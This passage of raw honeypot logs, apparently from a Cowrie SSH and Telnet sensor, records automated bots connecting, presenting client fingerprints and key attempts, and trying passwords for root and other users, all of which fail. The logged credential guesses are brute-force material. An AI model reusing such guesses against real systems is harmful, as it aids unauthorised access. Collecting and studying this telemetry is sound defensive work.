ert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:03.508018Z","src_ip":"27.71.230.31","session":"ab64899c0fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12","message":"login attempt [root/Admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:07.413584Z","src_ip":"27.71.230.31","session":"ab64899c0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:09.026255Z","src_ip":"27.71.230.31","session":"ab64899c0fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":51664,"dst_ip":"10.17.0.5","dst_port":22,"session":"2238b73e5ca8","protocol":"ssh","message":"New connection: 103.27.238.116:51664 (10.17.0.5:22) [session: 2238b73e5ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:09.373797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:09.378178Z","src_ip":"103.27.238.116","session":"2238b73e5ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:09.660567Z","src_ip":"103.27.238.116","session":"2238b73e5ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kirill007","message":"login attempt [root/kirill007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:10.518456Z","src_ip":"103.27.238.116","session":"2238b73e5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:11.799195Z","src_ip":"103.27.238.116","session":"2238b73e5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.18745827674866,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:12.218924Z","src_ip":"172.81.62.90","session":"a4d267248ee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":51780,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a9d2f5fe1a3","protocol":"ssh","message":"New connection: 103.176.90.41:51780 (10.17.0.5:22) [session: 7a9d2f5fe1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:29.803849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:29.808283Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:29.896891Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:3a:52:e0:e6:11:0b:fc:88:11:84:e8:d4:68:81:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCltrnDxxim6dci4JrUFJzW0eJSsNEFkJGBzdsP+D32foJPC9Kdy6SkjAYKeJDq09xjMNQWVNWaXg+gZsp6X3I+YVuztTDZuqarKGYEIpQ9edyhMySsCXPCJJp5FDu+Nn+3r00wbEzvhoz3hUdC72wTWEjUZ4wDV3X3fzexk7BehoUjm0dsnFJtuEazZSRcRH4JAOTdbr6K/x+GrG7v7/S+8i4hMMHwwQiJoXlz+048QawLlk9ems0afq7SRW262+fsrcRc5pggnBRd8FakqBMluFjnw7Ny83m2VF3B5+3VF2MFvOkJqMYKUzcbU1f0xt73GKtyIBT8wLDkM/1C4NOX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:3a:52:e0:e6:11:0b:fc:88:11:84:e8:d4:68:81:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.296378Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:3a:52:e0:e6:11:0b:fc:88:11:84:e8:d4:68:81:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCltrnDxxim6dci4JrUFJzW0eJSsNEFkJGBzdsP+D32foJPC9Kdy6SkjAYKeJDq09xjMNQWVNWaXg+gZsp6X3I+YVuztTDZuqarKGYEIpQ9edyhMySsCXPCJJp5FDu+Nn+3r00wbEzvhoz3hUdC72wTWEjUZ4wDV3X3fzexk7BehoUjm0dsnFJtuEazZSRcRH4JAOTdbr6K/x+GrG7v7/S+8i4hMMHwwQiJoXlz+048QawLlk9ems0afq7SRW262+fsrcRc5pggnBRd8FakqBMluFjnw7Ny83m2VF3B5+3VF2MFvOkJqMYKUzcbU1f0xt73GKtyIBT8wLDkM/1C4NOX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.300565Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:55:03:fa:fa:4c:5c:d3:a6:66:c3:f8:ad:38:3d:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApSr0Kgk5BSoa58m5cs3wEdN78xEEsfAB1I+taDrdvZ0wGg4z5NZUetYEngUOWrBVwtjyw/8EKEpb7JwGd4GDWcQGOoHgfeVqn8aYzq+IfHP8TldtYA4+EMNF7QaCemQXX3ojX9LhlXsaaBYoWYQ+/aBguRB2MzIzLqP4NDl5dGga4tvHOhLcFT7936pW/I7RlWsW4oMimgFtomr+NoWXdccBc33/Xg+2w7yl59NbBaOi7Y8XflVi8Mgg9GaMpZrrFNRWMMAXtyQWbIPDp7uB7141xykPk3aqmNZiLf+5CvVGa9QtDdNuVqy+W6scI+e+7S9OKp7KEnNkCyDmHEwQdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:55:03:fa:fa:4c:5c:d3:a6:66:c3:f8:ad:38:3d:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.395567Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:55:03:fa:fa:4c:5c:d3:a6:66:c3:f8:ad:38:3d:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApSr0Kgk5BSoa58m5cs3wEdN78xEEsfAB1I+taDrdvZ0wGg4z5NZUetYEngUOWrBVwtjyw/8EKEpb7JwGd4GDWcQGOoHgfeVqn8aYzq+IfHP8TldtYA4+EMNF7QaCemQXX3ojX9LhlXsaaBYoWYQ+/aBguRB2MzIzLqP4NDl5dGga4tvHOhLcFT7936pW/I7RlWsW4oMimgFtomr+NoWXdccBc33/Xg+2w7yl59NbBaOi7Y8XflVi8Mgg9GaMpZrrFNRWMMAXtyQWbIPDp7uB7141xykPk3aqmNZiLf+5CvVGa9QtDdNuVqy+W6scI+e+7S9OKp7KEnNkCyDmHEwQdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.399216Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:81:51:78:16:56:e4:af:96:c5:65:ef:40:ab:18:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0k3Te1no7OH50ne+/7rlwWksJIRauKRe9l4RVw5ZiMyaQABxnPqPUa8I8aN7DzkYbR6phtKPUwlLSZmXpA435ltz34wOqNq9Xpg0YM8Vr93bXGbchOgt4s4wxzGXvQ7mif0vQrNPaii94VjqwtmVQFyZ85DpiFSbHp1KSe6hS97D7iDg1EYAIMuHuJtEnNEcx161il+i0xuYCdzwqYI52XseW7Qg2d7UoM832tLFz2nsXa0vlRXkmoymvFKlyUL7/rOgmGku6Oj8Ao08jIOuKlB92NmWDhIfjAjgAVvXE8zL2tqBPH3iQEY2kEY/He9cMqdCktiCs46h3brqJZ3ehw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:81:51:78:16:56:e4:af:96:c5:65:ef:40:ab:18:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.483387Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:81:51:78:16:56:e4:af:96:c5:65:ef:40:ab:18:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0k3Te1no7OH50ne+/7rlwWksJIRauKRe9l4RVw5ZiMyaQABxnPqPUa8I8aN7DzkYbR6phtKPUwlLSZmXpA435ltz34wOqNq9Xpg0YM8Vr93bXGbchOgt4s4wxzGXvQ7mif0vQrNPaii94VjqwtmVQFyZ85DpiFSbHp1KSe6hS97D7iDg1EYAIMuHuJtEnNEcx161il+i0xuYCdzwqYI52XseW7Qg2d7UoM832tLFz2nsXa0vlRXkmoymvFKlyUL7/rOgmGku6Oj8Ao08jIOuKlB92NmWDhIfjAjgAVvXE8zL2tqBPH3iQEY2kEY/He9cMqdCktiCs46h3brqJZ3ehw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.486771Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:15:f3:f8:84:b1:45:c7:fb:f4:8f:8a:ca:18:a5:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwCcJhEk/w5F0lDBE5u6zDgGJ2uKPERKCBOjbmROkP7UEuv4zaSARCL33IcpzZ/t6QuRE8Tzc9/JX48pjTmFgpvhCevMhR+iIqrOiNC9wOhQ+jExsYRaHwb8WJqOtllNBnHH5GjbwIQHDEXXaDeZVRpfPynmjo7ySxBABXfE3hKqcQZy2YgJHhgA3waq/Gb1cxpIG9/PxE6xSmvNIknnJfcGy/aPWK3ccn+5YEYJB5VsRxpMrWzTliF7C58V2tN+hpEJhuTzhv7394jWizuWqp6Ta10NEjYzh1Siggierf0Wjcvs6suEsnBHQ7ZVVsGizI+sUUYBwQcJqJo7BO9PW5wXw5Oad5H3soIMTwyuQQHWor0/ofrtLv3pD6WRe8qy0hoVQEHiv5ULVmRxmZdzm/xsKfPq2yoj6T6oEoUAtWtk7TW4D6jDd8VBzfbeRi3ddC/9qbYHGkRnXdzgZVMItPqTreIvpxgZzbGbIWTTyVOWNo7YsiYMO0QcSSU6aSklE+RIEc5eSbX4VxZzD1zDqcPynk5FzUYZTKuSNamTHA4Bg4kvvflvr5B/anLK3PuMrCgIpEtMUybRd9kJ4+khEWcyByw99Camq37+m3HW5FloQDwZ2QoTSll+eMPIcxOsKDDxKA3tgQKvjM3y8gAHSUCVzQNSs8Hhie+toCmNuDgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:15:f3:f8:84:b1:45:c7:fb:f4:8f:8a:ca:18:a5:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.575102Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:15:f3:f8:84:b1:45:c7:fb:f4:8f:8a:ca:18:a5:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwCcJhEk/w5F0lDBE5u6zDgGJ2uKPERKCBOjbmROkP7UEuv4zaSARCL33IcpzZ/t6QuRE8Tzc9/JX48pjTmFgpvhCevMhR+iIqrOiNC9wOhQ+jExsYRaHwb8WJqOtllNBnHH5GjbwIQHDEXXaDeZVRpfPynmjo7ySxBABXfE3hKqcQZy2YgJHhgA3waq/Gb1cxpIG9/PxE6xSmvNIknnJfcGy/aPWK3ccn+5YEYJB5VsRxpMrWzTliF7C58V2tN+hpEJhuTzhv7394jWizuWqp6Ta10NEjYzh1Siggierf0Wjcvs6suEsnBHQ7ZVVsGizI+sUUYBwQcJqJo7BO9PW5wXw5Oad5H3soIMTwyuQQHWor0/ofrtLv3pD6WRe8qy0hoVQEHiv5ULVmRxmZdzm/xsKfPq2yoj6T6oEoUAtWtk7TW4D6jDd8VBzfbeRi3ddC/9qbYHGkRnXdzgZVMItPqTreIvpxgZzbGbIWTTyVOWNo7YsiYMO0QcSSU6aSklE+RIEc5eSbX4VxZzD1zDqcPynk5FzUYZTKuSNamTHA4Bg4kvvflvr5B/anLK3PuMrCgIpEtMUybRd9kJ4+khEWcyByw99Camq37+m3HW5FloQDwZ2QoTSll+eMPIcxOsKDDxKA3tgQKvjM3y8gAHSUCVzQNSs8Hhie+toCmNuDgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.578848Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:0d:65:3c:bd:d9:7a:11:bf:ff:69:90:09:d7:af:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1oh5V1uy8csDZWDSyNgP0cedKbtn09qqKN5vNNDwj912XK0kpjytnoxU4gx36E8TRvRlmhMzjAArBTIQ6jMfo1DxWdnn3hSyhOzmTcMgHUgMmuFGfZs45WXrxwm6WIu3d34w7Xipyo6jTzTbgQz/23g8hgDR8aOb5s8Kte/DHJkpYaAJqaqTYuRLg6xoVH4YcR8yAbYCqRniKwes9I8zX0Kf2xs7U9bIPL6RpJodbV01AIx05ybHUemVzpv9xD10wnGWMMoLQtPXKpMGmcEqG7D2IZVDnIlJ9SLLiqQQMMzK9s8CusGl9Z1fye8lphtW2LJVsuUx41hJYPweF1nD2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:0d:65:3c:bd:d9:7a:11:bf:ff:69:90:09:d7:af:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.663050Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:0d:65:3c:bd:d9:7a:11:bf:ff:69:90:09:d7:af:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1oh5V1uy8csDZWDSyNgP0cedKbtn09qqKN5vNNDwj912XK0kpjytnoxU4gx36E8TRvRlmhMzjAArBTIQ6jMfo1DxWdnn3hSyhOzmTcMgHUgMmuFGfZs45WXrxwm6WIu3d34w7Xipyo6jTzTbgQz/23g8hgDR8aOb5s8Kte/DHJkpYaAJqaqTYuRLg6xoVH4YcR8yAbYCqRniKwes9I8zX0Kf2xs7U9bIPL6RpJodbV01AIx05ybHUemVzpv9xD10wnGWMMoLQtPXKpMGmcEqG7D2IZVDnIlJ9SLLiqQQMMzK9s8CusGl9Z1fye8lphtW2LJVsuUx41hJYPweF1nD2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.666480Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:30.753742Z","src_ip":"103.176.90.41","session":"7a9d2f5fe1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":51336,"dst_ip":"159.203.135.109","dst_port":22,"session":"750204c12998","protocol":"ssh","message":"New connection: 152.32.171.213:51336 (159.203.135.109:22) [session: 750204c12998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:38.827344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:38.831516Z","src_ip":"152.32.171.213","session":"750204c12998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:39.053921Z","src_ip":"152.32.171.213","session":"750204c12998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"magnus","password":"1234","message":"login attempt [magnus/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:39.979249Z","src_ip":"152.32.171.213","session":"750204c12998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:41.205739Z","src_ip":"152.32.171.213","session":"750204c12998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51290,"dst_ip":"159.203.135.109","dst_port":22,"session":"0179d7513c87","protocol":"ssh","message":"New connection: 51.250.105.222:51290 (159.203.135.109:22) [session: 0179d7513c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:43.167629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:43.171358Z","src_ip":"51.250.105.222","session":"0179d7513c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:43.302576Z","src_ip":"51.250.105.222","session":"0179d7513c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:43.693640Z","src_ip":"51.250.105.222","session":"0179d7513c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:10:44.829777Z","src_ip":"51.250.105.222","session":"0179d7513c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":48300,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a2b466a277","protocol":"telnet","message":"New connection: 94.23.66.112:48300 (10.17.0.5:23) [session: 39a2b466a277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:11:01.855415Z"}
